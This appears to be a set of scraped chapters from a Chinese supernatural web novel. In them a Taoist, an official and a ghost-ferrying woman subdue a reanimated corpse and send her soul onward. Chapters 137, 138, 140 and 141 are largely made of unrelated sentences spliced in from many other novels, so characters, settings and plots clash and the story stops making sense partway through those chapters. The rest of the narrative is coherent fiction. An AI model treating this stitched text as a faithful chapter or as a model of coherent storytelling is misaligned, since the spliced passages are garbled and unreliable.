女尸睁眼后,原本满脸惊恐的十三差点喜极而泣。
“玉琼姐!”
他正要上前,却被颜正初一把拉出,面色凝重:“她已经不是黄玉琼了。”
石床上的“黄玉琼”并未立即起身,只见她缓缓抬起僵硬的双手,又笔直地坐起身来。
随后慢慢侧头,用一双只剩下眼白的眼睛,望向众人。
立在石洞门口的余琅可又算是长见识了。
死去半年的尸体,居然“活”了过来?
“道长,她不是黄玉琼,又是谁?”
颜正初扶额一阵头疼,正要说话,空气中却响起一串缥缈的笑声。
“小道士,你这么喜欢捉鬼,这阴尸刚好送给你玩玩。”
声音由近到远,又由远到近,直待罗盘动静消失,笑声也随即消逝。
余琅又是一阵惊诧,问道:“刚刚说话的,可是赋楼恶鬼?”
“它口中说的阴尸又是什么?”
颜正初尽量说得通俗易懂:“其实就是行尸的一种。”
“前几日在东宫时,那些阴魂附在尸体上,导致的尸变,是行尸的一种,这种倒好解决。”
“而眼下这种阴尸,是因怨气灌注尸身,形成尸气,导致尸骨不化。”
“虽说她的魂魄,尚未吸足阴煞之气,但尸身遭到白轻霜所化的煞气冲撞,就会形成尸变。”
余琅听他说得吓人,连忙后退了几步,恰好撞到身后的任风玦。
“大人,那客栈老板娘的尸体,尸变了!”
任风玦刚赶到时,就看到了起尸,也是微吃一惊,“怎么回事?”
余琅还想再阐述一遍,却见黄玉琼的尸体,以一种十分怪异的方式,慢慢下了石床。
她看起来浑身关节都已趋近僵化,动作迟缓,似乎并不具有杀伤力。
可当她嗅到生人气息时,便会迅速扑上来。
“先往后撤!”
颜正初一声喝下,掏出一道黄符,便打在了“黄玉琼”额前。
可这些镇魂符,镇的是鬼魂。
对行尸,根本不起作用。
“黄玉琼”只是略微停滞了一下,便又继续朝众人扑去。
见状,颜正初只能掏出玉剑来拦截她,为余琅等人争取后撤时间。
十三被余琅拉着后退,心中却十分挣扎。
他也看出了此刻的黄玉琼,已经完全没有“人性”。
正如方才那女子所言——这后果,他确实无法承受。
那个爱笑的玉琼姐怎么能变成这样?
他怎么能允许自己亲手将她变成这样?
十三忽然一咬牙,挣开了余琅的手,直接跪在地上,“道长,求求你救救玉琼姐!”
颜正初正与行尸斗得吃力,又哪里顾及得上他?
这东西虽没有人性,却有一身蛮力,且凶残无比,只要让它逮到,就会被直接咬断脖子,吸干鲜血。
他丝毫不敢分神,心里只在焦急,当初师父倒是有教过一种名为“定尸咒”的法咒,能治行尸。
但行尸到底罕见,他还以为自己这辈子都遇不到。
是以,当初学的时候,也根本没有上心。
而眼下突然需要用,还真是一筹莫展。
任风玦也看出了颜正初处在下风,当即拔出长剑上前帮忙。
但这行尸连颜正初那柄专治邪祟的玉剑都不放在眼里,又如何会害怕凡间武器?
一时之间,两大活人合力,竟也奈何不了一具“尸体”。
灯魂无忧实在忍不住冒出半个头来“观战”,还不忘评说一番。
“这云鹤山的小道士捉鬼有一手,但斗‘行尸’好像并不在行。”
“不过也是,他们这一派,所修**的法咒,以‘灵’为主。”
“而行尸无‘灵’,只有躯体…”
它又向默默“看戏”的夏熙墨说道:“墨骨,你的‘骨术’刚好克制这行尸,都这个时候了,还不打算出手吗?”
“不急。”
她冷眼看着战况,神情漠然,好似真不打算掺和此事。
无忧心里纳了个闷,却又忌惮于她的脾气,也不敢多问。
那边,颜正初已近力竭,当真是什么法咒和招数皆用过了,都拿这具“尸体”没有办法。
任风玦
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虽还有力气,但也只能帮着牵制一下,继续耗下去,并没有任何胜算。
“小侯爷,我顶不住了,咱们留得青山在,不如赶紧走吧。”
颜正初也是万万真没想到,这白轻霜会用如此阴险的法子来治自己。
他后退几步,便招呼其他人,“先撤出这石洞,找个地方躲起来,这行尸现在行动迟缓,一时半会儿追不上来。”
任风玦也觉得此地不宜久留,听了这话,便顺其自然拉住夏熙墨的手往后撤。
夏熙墨似乎还在思考着什么,被他的力道带着,也往石洞外走去。
或许是因为魂魄与身体已经完全融合,她能清楚感受到任风玦那温热的掌心覆盖在自己的手背上。
那一刻的感觉有些微妙,让她不由自主望向了他的脸。
只是不容多想,颜正初便已经找到了一处石堆后藏身,并叮嘱众人:“若是行尸靠近,记得不要发出任何动静,必要时可以屏住呼吸。”
听了这话,余琅紧张得后背冷意涔涔,他忍不住小声问:“道长,难道连你都没办法治住这行尸了吗?”
颜正初闻言,却看了沉默的十三一眼,说道:“有倒是有,不过不到迫不得已之时,我不会用。”
十三也抬了一下眼睛,却没有说话。
余琅多少能猜到一些,问道:“用的下场是什么?”
颜正初正色道;“是尸身毁了,魂魄也会散,此后只能在人间做孤魂野鬼,入不了轮回。”
十三立即浑身一震,看向颜正初的眼神,很是森冷可怕。
“你不用那么看我…”
颜正初连忙将话说在前头,“我也说了,非到不得已之时,不会用。”
“但若是…她伤害到我们当中的任何一人,可就怪不得我了。”
十三没说话,又慢慢垂下了眼眸。
这时,只见余琅忽然一拍脑门:“不好,阿夏还在那边,万一要是遇到…”
颜正初也知道事情棘手,非得自己出马才行。
“阿夏那边交给我,在行尸没有被制住之前,你们不要轻举妄动。”
第136章 制伏
颜正初前脚刚走,夏熙墨亦悄无声息站起身来,直接跟了过去。
任风玦察觉身侧一空,可谓吃了一惊,望着她的身影,正要问话。
“别跟着我。”
“……”
她语气还是那样强硬,头也不回,直接跟上了颜正初的脚步。
走在前面的颜正初,乍然见他跟上,也是吓了一跳,忙道:“我的姑奶奶,你跟上**什么?”
“谁要跟你?”
还是那傲然的态度。
“……”
颜正初一时都不知说她什么好,但转念一想,竟隐隐觉得,刚刚那巨人突然被制住,或许与她有些关联。
难道是她?
夏熙墨冷冷瞟了他一眼,继而问道:“你可有办法在制住行尸的情况下,保住黄玉琼的魂魄?”
颜正初倒不料她会问出这样的问题,迟疑了一下,才回道:“办法倒是有,就是有些棘手,得从她体内,拿出养魂珠才行。”
若他猜得没错的话,那颗珠子应该已经被吞进了腹中。
“我想过用‘定尸咒’来先制住她,再取出珠子。”
“就是…突然忘了那道符怎么画了…”
夏熙墨再次冷冷睃了他一眼,那眼神仿佛又在说——你就承认吧,你就是没用。
颜正初被她盯得好没脸面,轻咳一声后,又道:“不过刚刚想了一下,倒是又有了一些轮廓,一会儿再试试。”
“……”
说话间,身后似乎有什么东西正在缓慢靠近。
颜正初猛一回头,被却一双死鱼般浑浊的双眼狠狠盯着,眼见下一秒对方就要扑过来,他当即捂住口鼻,并迅速蹲了下来。
行尸一下子就失去了攻击目标,又转向一旁夏熙墨。
颜正初捏了一把冷汗,灵机一动,从地上捡起一块石头,便向一旁扔去。
行尸被动静所吸引,果然迅速跑了过去。
颜正初略松一口气,拉了拉夏熙墨的衣角,却见她依然立得笔挺。
这女子!人不怕,鬼不怕,眼下居然连这样的“凶尸”也不怕!
“姑奶奶…”
颜正初尽量压低声音恳求她:“您能一起蹲下来吗?”
在他殷切的目光注视之下,夏熙墨才勉为其难慢慢蹲下身来。
颜正初做了一个噤声的手势,跟着,从怀里掏出黄纸和朱砂笔。
他在脑子里将那道模糊的符箓,默想了几遍,可越是着急,就越是不知该如何下笔。
夏熙墨没有出声,但那幽亮的眼睛与睥睨的眼神,却压迫感十足。
颜正初被她盯得忍不住双手颤抖。
“行不行?”
“……”
夏熙墨似乎不想与他浪费时间,直接站起身,就朝行尸的方向追去。
“你…等…”
颜正初心急如焚,眼角余光却忽然瞥见自己腰间挂着的八卦玉葫芦。
那道符箓的关键,可不就是与“八卦阵”有关。
他顿时恍然大悟,朱砂点在纸上,下笔如有神。
——
此时,阿夏正守着风灯蹲在原地,与一旁的十三大眼瞪小眼。
山洞内静得能听见穿梭的风声,灯光只能照着脚下的方寸之地。
而除此之外的目光所及之处,皆为一片昏暗。
忽然间,昏暗中慢慢走来了一道身影。
阿夏下意识站起身,见那道身影纤细,分明是个女子,便唤道:“夏姑娘?”
那人听见他的声音,似乎顿了一下足,又忽然加快脚步。
但不知为何,那走路的姿势,看起来十分怪异。
离得近了,阿夏才逐渐发现不对劲,地上的十四,也跟着发出一声低吼。
随即,那道身影便迅速扑了上来…
阿夏根本来不及看清,就被一双冰冷的手掐住了手臂。
他仓皇之中,定睛一看,面前竟是一张惨白的脸。
但从那白里透青的肤色来看,像是已死去多时,甚至隐隐还有几处浮现了尸斑。
而那双只剩下眼白的“眼睛”,更是没有半点活人的气息。
这莫非是从深山坟墓里爬出来的死尸?
阿夏试图挣扎,怎奈此女手上力道惊人,他用尽全力,竟没能挣脱半分,心下不禁骇然。
眼见对方突然张开嘴,露出一口森白的牙齿,要朝自己咬过来时…
他却看见女尸的身后,又出现了一道身
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影。
“夏姑娘!”
阿夏立即惊叫了一声。
他本以为自己这次必然在劫难逃,可直到额角滑下冷汗,都无事发生。
面前的女尸,像是被一股力量给牵制住了。
她仍张着嘴,且牙齿与他的脖颈近在咫尺。
阿夏惊得腿脚完全失去了力量,却又听见颜正初的声音:“阿夏莫慌!”
“颜道长!”
及时赶来的颜正初二话不说就将手中的“定尸符”打在了黄玉琼额前。
见她被定在原地,总算松了一口气。
“还好没有迟来一步!”
一直处于紧绷状态的颜正初身体一软,坐在地上,忍不住叹了口气:“好在本道长在危机关头想起来了,不然后果真是不堪设想。”
阿夏见面前的女尸虽然不动了,却依然心有余悸,忍不住问:“这到底是怎么回事?”
这时,任风玦与余琅以及十三都往这边赶了过来。
众人合力,将已经被“制伏”的女尸,与阿夏分开。
余琅拍了拍阿夏的肩膀,说道:“让你受惊了,这事晚些时候,我再向你细讲。”
一旁十三忍不住走到黄玉琼面前,神情里透着说不出的哀伤与懊悔。
他伸出颤抖的双手,似乎想要触摸她的面庞,最终还是喊了一句:“玉琼姐,十三错了…”
颜正初原地休整片刻,就知道自己要做正事了。
他走到女尸与十三面前,说道:“我现在要施法逼出她吞下的养魂珠,唯有释放出她的魂魄,她才有入阴司轮回往生的机会。”
十三听了这话,又要跪下,却被拒绝:“别跪了,她死得如此冤枉,若是依然怨气未消,还要靠你来消除她的怨念…”
颜正初说着,当即并起食指与中指,捏了一道法诀,打入女尸眉心处。
一缕黑气当即从她那双眼睛里弹了出来。
他又掷出一枚铜钱,默念法诀,女尸腹中的养魂珠也仿佛受到了感应。
紧接着,一颗如鸽子蛋般大小的珠子,从她口中飞了出来,落在地上,摔成两半。
而这时,一道影子从中飞出,并迅速朝着山洞外而去…
第一卷 第137章 记忆
暴雨如注。
一道影子从井口而出,在雨中慢慢化作人形。
青色头巾束着一头青丝,往下是一袭浅绛色绉纱长裙,裙角拂动时,隐隐露出玉面弓鞋上的半枝莲花。
“爱丽丝,再过十来天,我们村落也要去仓兰城,一起出发安全一些。”卡夏看了罗林一眼,希望他也能帮着劝一下。
但最为让江遥吃亏的,还是另一点——他的攻击完全无法生效,无论多么凌厉的剑气,都是直接穿透了青冥殿主的虚影,别说伤到对方,甚至连其衣袖和毛发都不能损及半根,导致他完全只能被动防躲,可谓先天不利。
接下来,林飞又闪电般,施展出,在天人界,轮回磨盘内部世界学到的八种神灵传承。
可是,中海的雷阵雨天气好像特别的剧烈,接连几个炸雷就响了起来。
秦殇听了魔萱的话,把眉头皱起,轻轻地用手揉开。然后对着魔萱说。
“灭影杀!”灭刺看到这一幕,不由得怒吼一声,身躯猛然一动,直接爆‘射’而去,手中的匕首再次对准白尘的咽喉狠狠一抹,直接打出了白尘两千点的伤害值。
“这个东西不好搞!”林帆看着面前的神圣骑士,出声自语道,面前的这些个神圣骑士,各个都是血牛类型的,这样的BOSS是最难对付的了。
得到了这些堂口扛把子的许可之后,吴明赶紧就从天虎帮的账户上把钱转到了自己的公司名下,然后叮嘱马上给设备生产商付款。
三人吵吵嚷嚷地走到江遥身边的时候,周映琼突然咦了一声,刹住脚步朝江遥脸上打量。
“还不太确定,不过那股气息应该跟我杀的那些人完全一样,而且我怀疑他还在酝酿什么大的阴谋。”叶枫回忆起在在拍卖会场见到的马市长跟古佳说话的一幕点点头说道。
超神学院这个多元宇宙,也有一个周星星,而且确实是凯莎的娃娃亲,地球上的周星星代替超神学院的周星星。
“你们可知跟我黄家作对的结果?”黄博涛一声喝下别墅的门立刻被封锁了起来,无数的人影从别墅的四周冲了出来,程舒云跟程宇儒也看到了袭击程家别墅相同装束的一批人。
要知道,若是谷星海早些出手,此种局势之下,无论是孔妙或是顾江这边,定然会被动许多。
张永心中突然涌现出一股莫名的悲痛,他盯着那道身影一时之间有些痴迷。
张永神清气爽的伸了个懒腰,感觉无比舒服,当他回过身准备拿包的时候,他被眼前的一幕惊呆了,他的手顿时僵在那里。他的背包拉链已经被打开了,背包里的东西零星的洒落在周围,凌乱无比。
但眼前这个年轻人,既然能够让宁欢颜为之在意,就不可能是等闲之辈。
一到天使审判团就遇到华烨,华烨一眼看中她,命令中午食堂厨师给自己下药,让自己失去理智。
“那天吴生你虽然和自己公司的三个员工一起吃饭,不过中间去厕所的这十分钟,他们并不知道吴生到底去干了什么?
当下,宋天祥也察觉到了什么,浑身汗毛倒竖而起,猛然回过头去。
第一卷 第138章 阿姐
黄玉琼上前顺手关了门窗,嘴上应道:“那真是奇怪了,来我们店内投宿的,大多都是去往京城的客人,还是第一次见到从京城来的客人。”
将车驶进院中停下,洛君珩解开安全带,一转头,见言兮靠在椅背上睡着了。
他试着向前走了两步,感觉双~腿就像灌了铅一样,重若千斤。每走一步都摇摇晃晃的,好像要耗费掉他全身的力气。
伍宜原下意识的看向酒吧里面,宋南屿斜靠着沙发,两腿搭在前面的桌上,正悠哉悠哉的喝着酒。
这词也不知道谁交给这两个家伙的,哈雷摩和哈雷托说的倒是顺溜无比,还异口同声。
当推门而入,看到房间内范筱莜的各种照片挂在墙上时,杨璇心中的疑惑更大了。
原本闻太师屡胜西岐,更是攻下西岐城,逼得姬发姜尚逃到西北,他还以为西岐不过如此,自己上也行。
云中子心头一震,心中一个个大胆而可怕的想法冒了出来,顿时让他冷汗涔涔直下。
若西岐不是有圣人庇护,有阐教相助,怕早就大王灭个千百来回了。
也就是说,如果你能控得住这一方天地,那么你就可以将这块地方作为你的命种。
古人只知道皇后礼服褪色,这是不吉,很可能是上天不承认云涵霜这个皇后。
艾伯特一口气说完这么多,嘴巴也有些干了,拿起咖啡抿了两口,这才感觉喉咙舒服了一些。放下咖啡杯,有些期待的看着秦旭。
宁香忆发现自从公司重组之后,虽然工作环境、待遇这些方面比之前都有提高,但工作强度却是翻倍的增加。
红甲虫盯着哨兵机器人看着,面对这种人类发明出来的恐怖机器,尤其是看到它们是如何与勇猛的暮狼作战的,他的心中不敢有半点松懈的地方。
这身穿红袍,手持血斧的人,正是火焰殿的另外一位副殿主,他跟那黄副殿主一起赶来。
明非先生则在下面如影相随的跟了上,只等行云落下,好逼他认输,这便就算是他胜了这一场。
诺诺这才立时松开了死抱平安公主大腿的手,随即接过越千秋递来的手绢,三两下擦干了眼泪鼻涕,随手把手绢又递了回去,这才一只手死死拽紧了母亲的衣角,高高昂起了头。
刹那之间,他就做出了决断,怒喝一声朝着越千秋冲了过去,刀锋一转便是一招同归于尽的压箱底招数。可他等来的却不是越千秋惊慌失措的表情,而是一声嘲笑。
何况能够进步到高级大巫的人,一个个都是天之骄子,都是一个个大势力的宠儿,这些人自然更有野心。
超强的天赋让请假王拥有几乎妙蛙花两倍的物攻,再叠加上一般系大招终极冲击,这一击威力已经到了一个匪夷所思的地步。妙蛙花被击中后,立刻被击飞了出去,庞大的身体重重的砸在了防护墙上,彻底失去了战斗力。
喜欢战斗杀敌,和喜欢杀死无辜的,不能反抗的路人,这就是区别,死侍本质上是一名战士,陷入疯狂的话,也应该算是狂战士。
段染漠然,轻轻的拧了拧眉,一言不发,面对无端的指责,他倒是出乎意料的淡定,显得毫不系怀。
第139章 上路
渡魂灯内,无忧又开始鬼哭了。
“呜呜呜,都用‘血浓于水’来形容亲情,但我看,有些血缘之间的感情,还比不上这种呢。”
“相反,世间还有那么多人为了利益,而手足反目,甚至是自相残杀…”
“造化太弄人了…呜呜呜呜。”
听着耳边的嗡嗡声,夏熙墨竟难得没有嫌它烦。
黄玉琼没有成恶鬼。
那渡魂灯就能引她前往幽冥。
于是,在身旁几人毫无察觉的情况下,她慢慢移步走出了店堂。
颜正初正想拦她,却被任风玦先一步拦了下来;“不必理会,夏姑娘有自己的事情要做。”
听他这么讲,倒引起了颜道长的兴趣:“夏姑娘要做什么?”
任风玦瞟了他一眼,却回道:“不必知道。”
“……”
这两人,某种程度上来讲,是不是越来越像了?
颜正初话冲到嘴边又咽了回去,只好抱着手臂,望着夏熙墨走到了廊外。
门外,下了将近一夜的雨,总算慢慢见收。
十三与黄玉琼见到夏熙墨走出来,便一齐望了过去。
后者也冷眼看着他们:“人间事了,我能送你去阴司。”
闻言,黄玉琼又深深看了她一眼,问道:“你是…阴差?”
“不是。”夏熙墨道:“阴差可渡不了你。”
黄玉琼笑了笑:“难怪从第一眼见你,我就觉得心里有些害怕,原来,是这样…”
夏熙墨问:“可还有话要说?”
黄玉琼却望向十三,接着,凑到他耳旁,轻声交代了几句什么。
十三听后,神情复杂。
黄玉琼走到夏熙墨跟前,又道:“我现在唯一放不下的,就是十三。”
“我知道,这半年来,他做了不少傻事…”
“但他所做的一切都是为了我…”
夏熙墨当然听出了她想求情,立即打断了她:“这话你不用跟我说,阴司有阴司的规矩,人间亦有人间的律法。”
“他做的事,自有人来治他的罪。”
“而你,也无法干涉这一切。”
黄玉琼似乎还想再说些什么。
一旁十三却道:“阿姐不必为我担忧,只要阿姐能够入轮回转世,我想,我们在人间,还会有再见的机会。”
“十三已经长大了,就像阿姐说的,已经能够独当一面。”
听了十三的话,黄玉琼似乎无比欣慰,她眼里噙着泪水,面上却淌着温柔的笑意,最终点了点头。
“阿姐相信你。”
夏熙墨将渡魂灯托在掌心处,“进来吧。”
黄玉琼随即化作一抹影子,飞入灯内。
十三见到黄玉琼身影消失,忍不住看了一眼夏熙墨的手中灯,“阿姐她…”
“她会去她该去的地方。”
夏熙墨收了灯,没再说多余的话,便直接走向了雨幕中的枯井。
十三见状,立即紧跟其后。
而店堂内众人相视一眼后,随着任风玦点头,也跟着追了上去。
夏熙墨在山洞内找到了黄玉琼的尸身。
此时,那尸体,少了养魂珠的作用影响,已经开始快速腐烂。
灯魂无忧向黄玉琼的鬼魂说道:“现在渡魂人要渡化你的尸骨,一会儿魂灯会引你走向幽冥之路。”
黄玉琼在灯内低应了一声。
这时,远远又听见十三在喊着“阿姐”,强忍着心中的不舍,她缓缓闭上了眼睛。
夏熙墨听见甬道内传来脚步声,隐隐感应到灯中魂的情绪,当即伸手点在尸骨眉心处。
“上路吧。”
十三跌跌撞撞跑来时,却只见尸骨在顷刻间化作了齑粉,被山洞里的风,一吹就散了。
一点荧光于灯芯处消散。
夏熙墨收灯回头,只见任风玦等人也跟着进了山洞内。
颜正初四下看了看,已不见黄玉琼的尸骨与魂魄,不由得挠了挠头,向她问道:“那黄玉琼呢?”
“走了。”
只丢下两个字,也确实像是她的作风。
十三跪在地上,试图将最后一点粉末握在手掌心。
然而,再摊开手掌时,却已经什么也没有了。
余琅见十四还躺在地上不能动弹,便向任风玦问道:“大人,这巨人该如何处置才好?”
任风玦抬头看了一眼山
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洞四周。
看得出,这洞内虽看着像是天然形成的,但那通往‘琼影客栈’的通道,却绝非巧合。
巨人虽来历不明,若真是北境那边的“狄奴”,又是怎么会跑到这里来的?
他道:“等天亮,让鄢县衙门前来处置。”
余琅总觉得这不像是任大人的作风,忍不住问:“大人难道不打算管?”
任风玦只是一笑。
“若是我没记错的话,老县令还有最后两天就要致仕还乡了。”
“他半生仕途,报效朝廷,最后关头,也该做一件大事,才好‘功成身退’。”
——
天才蒙蒙亮,鄢县衙门上下,就一齐出动了。
领头之人,竟然是马上要致仕还乡的老县令霍安。
他马不停蹄从鄢县赶到葛镇,可谓是一刻也不敢停歇。
有不知内情的衙役小声讨论:“是来了什么大人物吗?还是第一次见到咱们县令这般紧张…”
“不知道,确实稀奇…”
“葛镇昨夜不会又有什么凶案吧?”
“那什么‘夺命客栈’,这半年来死的人还少吗?说起来还真是邪门!”
忽闻同行的县尉突然清咳两声,他们才讪讪闭了嘴。
进葛镇后,一行人果然直接往那“琼影客栈”而去。
霍安诚惶诚恐下马车,整了整衣衫,才领着县丞与县尉进了客栈。
店堂内,倒是坐着不少人。
霍安一眼扫去,在看到为首的刑部侍郎任风玦与大理寺少卿余琅时,心就凉了一截。
“任大人!余少卿!”
他上前规规矩矩行了一礼,不等再开口,便听见头顶上方传来声音:“霍县令不必多礼。”
“本官昨夜途经此地,遇见命案一宗,死者为西北两地往来的行商。”
“后根据店伙计十三所言,这半年间,客栈内已发生过不止一起此类案件。”
“既然,葛镇为鄢县管辖范围,那此事便交由给霍县令了。”
从踏进门的那刻,霍安就知道自己这次躲不过,闻言,又哪敢推辞?
“此事交由给下官,必给任大人一个满意交代。”
第一卷 第140章 开明
人么,一直呆在安逸的环境中,仍旧想往上走的,那都是有野心的人。更多人之所以奋斗,都是被生活逼出来的,不想落于人后,那就只能奋起直追了。
岁月的沉淀,久居高位的生活,令他一扫年轻时的风流浪荡,变得深沉而稳重。哪怕是坐在不算华丽的马车上,都由一种如坐庙堂的感觉。
“我等着你,还有,让宝宝健健康康的降生在这世界上!”裴诗茵将手紧紧的握紧了程逸奔,并郑重的说道。
宝春暗自嘿笑了声,自己不想看见她,可对方似乎也并不怎么期待看到自己。
她跟程逸奔的一路走来,他是看在了眼里,甚至于对于韩俊宇的刻意破坏,她还是在韩俊宇有病的时候,强逼着自己嫁给他。
他掩饰得非常好,在陈玄面前却不够看,察觉到自家兄长的笑并不真诚,陈玄的心不由地冷了下去。
有弟子林凯带路,李斌一路非常顺畅,少走了很多冤枉路,看来带林凯一同进京是一个英明的决定,不然京城这么大的一个陌生大城市,自己初来,没有可靠的人引路,很多事情办起来还真的有种力不从心之感呀。
想归想,杨务还没傻到说出来——大家都心知肚明的事情,装聋作哑也就罢了,若是明说,首相和张相保管坐不住,定要拦上一拦。
‘扑通’一声,他扔掉了林琳跪倒在地,双手捂住裆部,口中惨嚎连绵不绝。
一句言语,伴着光华流转,顷刻之间紫寒一剑而斩生生碾碎光华而动,这一刻,众人皆颤,看着紫寒眼中诧异,那古朴的长剑之上剑意是如此恐怖。
人在经历双丹单侠、三丹单豪之境后,经过常人无法忍受的修习,三丹连珠,并为一蓝光幽幽的蓝凌,进入灵阶一凌灵督之境。
平日里这些鬼雄见到自己哪个不是恭恭敬敬?虽然不会像下属一样那么唯唯诺诺,但是最起码连大声说话都不敢。
兽神、罗夫两人也有些不可思议的看着那里,秩序者真的要插手吗?
几天下来,四兄弟发现,设计规划没有影响他们的进度,购砖买瓦没有影响他们的进度,运输木料没有影响他们的进度,垒墙架屋也没有影响到他们的进度,只有前来热心帮忙的林酒儿成了这项工程的克星。
正和给他洗手的丫鬟调笑的贾清闻言抬头一看,原来是王熙凤远远走了过来,秦可卿正迎上去呢。
没有一拳到肉的声音,而是一阵碎裂声,只见王凡的拳头上是一柄残破的画扇。
贾清眉毛一挑,道:“护卫就是护卫,既不是佣人,也不是丫鬟!以后除了危机府中安危之事,余者一概不用你们管。你们的领头人就是你们熟知的梦姑娘,在这府里,除了她和我之外,不会有人再额外让你们做什么事。
于是一一进行辨别,可没有一个能说出具体位置,苏梦昔做什么,以及苏梦昔什么修为,他们都说不上来,甚至有些乱说一通。
散会之后,苏法昭专门到周楚的办公室来汇报工作,只是,周楚看着苏法昭憔悴的神色,却对苏法昭汇报的事情一点也没听进去。
赤足仙师在仙曌山的地位,无异于饕餮、旱魃在蜃楼宫的地位,都是不容忽视的高层首脑。
进入凌晨之后,整个巴陵城已陷入一片混乱当中,失魂落魄的姓们满街奔逃,所有的民房都是门窗紧闭,街道上到处都是手持兵器,奋力厮杀的周军将士,他们在狭窄的巴陵城内永往直前,见到身穿江淮军服饰的人就杀。
“奴婢给太后、万岁爷请安!”木惜梅给李德投以一记感谢的目光,随即走了进去,可是一进屋,就感受到屋内不同寻常的气氛,不是紧张,而是有股可惜的悲伤。
洛汐坐下来,伸手一巴掌扇了过去。吓到了孔翎雨,也吓到了身侧的飞羽。
“我就是李大牛。”李大牛瞄了周围的十来个半人不人,半动物不动物妖怪说道。
这个太上二长老一见两人都没有被自己这声震天笑给震慑住,不由欣慰的点了点头。
边关幽州,烟沙翻滚,旗幡猎猎,城墙紧闭,城墙十里之外,驻扎了北辰派出的十万精兵。在北辰精兵的力阻之下,三人无从回国。
易跃风正要说什么,方灵儿送药过来,易跃风伸手接过,将其屏退。
“恨我?”语薇看着冷玉歪着头打量着自己的模样,声音没什么起伏的问道。
地球上,米国纽约神盾局总部大楼中,尼克还是像往常一样翻看着资料和情报。
于是他收起了微笑,眼神一下变得犀利起来,徐栋身体一滞,下一瞬间,篮球已经到了王金手中。
闻言,秦囡顿时闭嘴,对着周无双扬了扬拳头之后,就怯生生的走到秦月身旁去了。
一时间,场内的气氛燥热,因为那悟道茶树的存在,几乎一扫之前的阴霾之色。
又和夏罄聊了一会,几人便离开了三合村,夏罄也是迫不及待的回去将方子抓成药,好给爷爷服下。
若是别人想插手自己与江枫的恩怨,自己是无论如何也不会买账,但是,正义盟盟主的话,自己不敢不听。
江三爷这种下山方法,肯定也不是那么简单的,必须要有玄奥手段护身,不然,这么高摔下去肯定成了肉泥。
“周天帝,你可以以不死之火烧死他们!”这时,在他脑海中响起不死鸟的声音。
李惠勤被李元霸的话噎了一个脸红脖子粗,气呼呼的不再说话,更重要的是他们都没有信心打败李元霸,这些元老都过了热血冲动义气争雄的年纪,而且拳怕少壮,只能捏着鼻子忽略李元霸的挑衅,正式开始八极大会。
“周天帝,可以开始了吧,我感觉那些精血在召唤我!”不死鸟的声音再度响彻,显得颇为召集,明显在催促。
第一卷 第141章 喜宴
任风玦写好自己的贺词后放下笔,转头看了一眼夏熙墨,却见她轻蹙眉头。
于是,他顺其自然就想替笔,却被面前的仆人阻拦了。
“客人,为表诚意,不可代笔,若是这位姑娘不会写字,也可将贺词说出来。”
在进门的一刻,李宜霖终于紧赶慢赶地赶上,并且直接就挽上了岳毅的手臂。
柳毅一口气飞出了七千多里,实在飞不动了,将穿星梭一收,直接朝地面砸去,一头撞进了一堆碎石堆中,震的山崖一阵晃动,崖壁脱落,彻底将柳毅和他的痕迹埋藏掩盖。
祁有珏一直带着懒洋洋的表情,手上举的牌几乎就没放下来过,不管有谁竞价,他都马上报一个更高的价,看起来对这块灵石志在必得,气势上已经压倒了一众对手。
这时,虽然搁着很远,但是苍月剑圣还是可以看到剑泉的表情,拧着眉,闭着眼,嘴巴禁闭,面色看起来并不太好……剑泉是怎么了?
听到慕容芊芊的话,尚在空间里的人都是一秉,摆放在平台中央的是一个看上去平凡之极的石盒,没有任何出彩之处,但是古神却将它放在中间,连仙器和极品神丹还有极品技法的玉简都被摆放在旁边一点。
谁知,吴亦凡在听完了吴世勋的这番话后,翻了一个大大的白眼,再度躺下敷着自己的面膜,一点都没有着急的模样。
本来是想要说“有些好奇”,但突然又觉得这样说似乎不妥,话说到一半便只能是顿住。
路何方无奈地摇了摇头,似乎又想起来什么,又无奈地笑了笑,最终离开了他站了约莫一个时辰的地方。
中地府的强者眼中闪烁着炽热的光芒,他们在期盼着少主的蜕变,目光一瞬不瞬地盯着祭台中央沉浮的血色茧子。
说到这里,宁昊眼珠子一转——这个地方冰封的天将还有八九万个,弄几个是个出去半个冰像展览,说不定收入比兵马俑展厅还高。
单颋这个时候有些六神无主,对宁昊大胆的行为又是感激又是担心。
所以她的生活有些混乱,除了喜欢在夜间行动之外,九十一号还有幸的参观了一下冬的房间,就在那个通风口边上,里面的混乱摆设……让九十一号一阵无语。
这样怎么能见人?柯寒愠怒,复又折回到导引山泉的水管旁,取出挎包里差不多也已经打湿了的餐巾纸,伸手接水洗脸。
夏天拉开车‘门’就重新走到了店里面,王琳由于有些担心,所以,也是跟着来到了店里面。
“不至于吧,区区中等红色禁锢类符纸能把萨科整成这样?”无极双手抱胸,不太置信地评点道。
、于是叶燕青就带领着众人前进,在大约走了四百米的样子的时候叶燕青听到了一些声响就叫身后的放慢叫步,慢慢的向前移动。
如同云潇这种冷酷却又纯洁的像是一张白纸的男人,又怎能染上一点黑污?
白箐箐是被幼豹踩醒的,睁开眼睛,就发现身体不对劲,掀起盖在身上的兽皮一看,自己竟然光着身子。
祁正是不可能告诉别人自己掐死亲生儿子的事情,就算他的做法情有可原,也必定遭人非议。
男人在回来之后,第一时间就跑到了桌子前,拿了几摞钱抱在怀里,周围人看的眼睛都红了。
第142章 影子
宴席散后,老管家果然亲自来招待了。
他依着沈老东家的吩咐,将众人领进山庄内的一处别院,里面恰好有五间客房。
不仅如此,每间房还安排了一位仆人伺候。
这就算放在县内最好的客栈,也未必能享受到这样好的待遇。
余琅不禁感慨,好在进县后多嘴找人问了两句。
此时,已是酒足饭饱,劳累奔波了一天一夜的余琅和颜正初,已迫不及待想要回房休息。
任风玦并未饮酒,先前那沈老东家过来敬酒时,他也是悄悄以茶水代之。
此时,见余琅与颜正初已相继回房,他也吩咐阿夏回去休息。
夏熙墨却依然立在原地,也不知在想着什么。
任风玦注意到她双颊泛着红润,想是饮酒的缘故,但一双眼睛依然明澈,不见醉意。
他忽然想到与她初见的那次,在那艘商船上,她喝酒醉倒,躺在藏着刺客的船舱内,不省人事。
“夏姑娘喜欢饮酒吗?”
闻言,夏熙墨似乎从怔忡之中慢慢回过神来。
这应该是她还阳之后,第一次喝酒。
她也不记得,以前的自己是否喜欢,刚刚只是下意识就喝了而已。
“想喝就喝,没有喜不喜欢。”
还是那惯有的说话风格。
任风玦见怪不怪,只是了然一笑。
相反,夏熙墨却深深看了他一眼,低声提醒了一句:“夜里别睡太熟,小心山庄有问题。”
说罢,她也转身回房去了。
任风玦还在原地琢磨了一下这句话。
以他的直觉来判断,这悦来山庄给人的感觉,确实有些怪。
但要说怪在哪里,又说不上来。
